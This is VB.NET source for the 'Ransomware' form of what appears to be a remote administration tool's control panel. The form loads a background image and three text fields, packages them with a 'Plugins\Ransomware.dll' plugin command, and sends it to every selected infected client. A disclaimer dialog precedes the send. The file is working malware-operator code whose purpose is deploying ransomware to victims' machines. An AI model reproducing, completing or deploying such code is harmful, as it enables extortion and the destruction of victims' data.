42 lines
2.1 KiB
VB.net
42 lines
2.1 KiB
VB.net
Imports System.Threading
|
|
Public Class Ransomware
|
|
|
|
Dim Path As String
|
|
Private Sub Ransomware_Load(sender As Object, e As EventArgs) Handles MyBase.Load
|
|
ToolStripStatusLabel1.Text = "Selected [" & Main.Lv1.SelectedItems.Count & "]"
|
|
Try
|
|
Path = "Background.png"
|
|
PictureBox1.Image = Image.FromFile(Path)
|
|
Catch ex As Exception
|
|
Debug.WriteLine(ex.Message)
|
|
End Try
|
|
End Sub
|
|
|
|
Private Sub PictureBox1_MouseClick(sender As Object, e As MouseEventArgs) Handles PictureBox1.MouseClick
|
|
Dim openFileDialog As OpenFileDialog = New OpenFileDialog()
|
|
Dim openFileDialog2 As OpenFileDialog = openFileDialog
|
|
openFileDialog2.Title = "Select Image"
|
|
openFileDialog2.Filter = "(*.jpg;*.bmp;*.png)|*.jpg;*.bmp;*.png"
|
|
Dim flag As Boolean = openFileDialog.ShowDialog() = DialogResult.OK
|
|
If flag Then
|
|
Path = openFileDialog.FileName
|
|
PictureBox1.Image = Image.FromFile(Path)
|
|
End If
|
|
End Sub
|
|
|
|
Private Sub Guna2GradientButton1_Click(sender As Object, e As EventArgs) Handles Guna2GradientButton1.Click
|
|
Dim result As Integer = MessageBox.Show("This Feature Is At Your Own Risk And I Am Not Responsible For Your Actions , Do You Want Continue ?", Text, MessageBoxButtons.YesNo)
|
|
If result = DialogResult.Yes Then
|
|
Try
|
|
Dim B As Byte() = SB("plugin" & SettingsHelper.SPL & GetChecksum("Plugins\Ransomware.dll") & SettingsHelper.SPL & "True" & SettingsHelper.SPL & Convert.ToBase64String(Compress(IO.File.ReadAllBytes(Path))) & SettingsHelper.SPL & Guna2TextBox1.Text & SettingsHelper.SPL & Guna2TextBox2.Text & SettingsHelper.SPL & Guna2TextBox3.Text)
|
|
For Each C As Client In Main.GetSelectedClients
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
Next
|
|
MessageBox.Show("DONE!")
|
|
Close()
|
|
Catch ex As Exception
|
|
MessageBox.Show(ex.Message)
|
|
End Try
|
|
End If
|
|
End Sub
|
|
End Class |